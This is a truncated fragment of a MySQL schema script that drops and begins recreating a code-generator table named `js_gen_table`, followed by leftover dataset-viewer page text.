SET FOREIGN_KEY_CHECKS=0;
-- ----------------------------
-- Table structure for `js_gen_table`
-- ----------------------------
DROP TABLE IF EXISTS `js_gen_table`;
CREATE TABLE `js... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.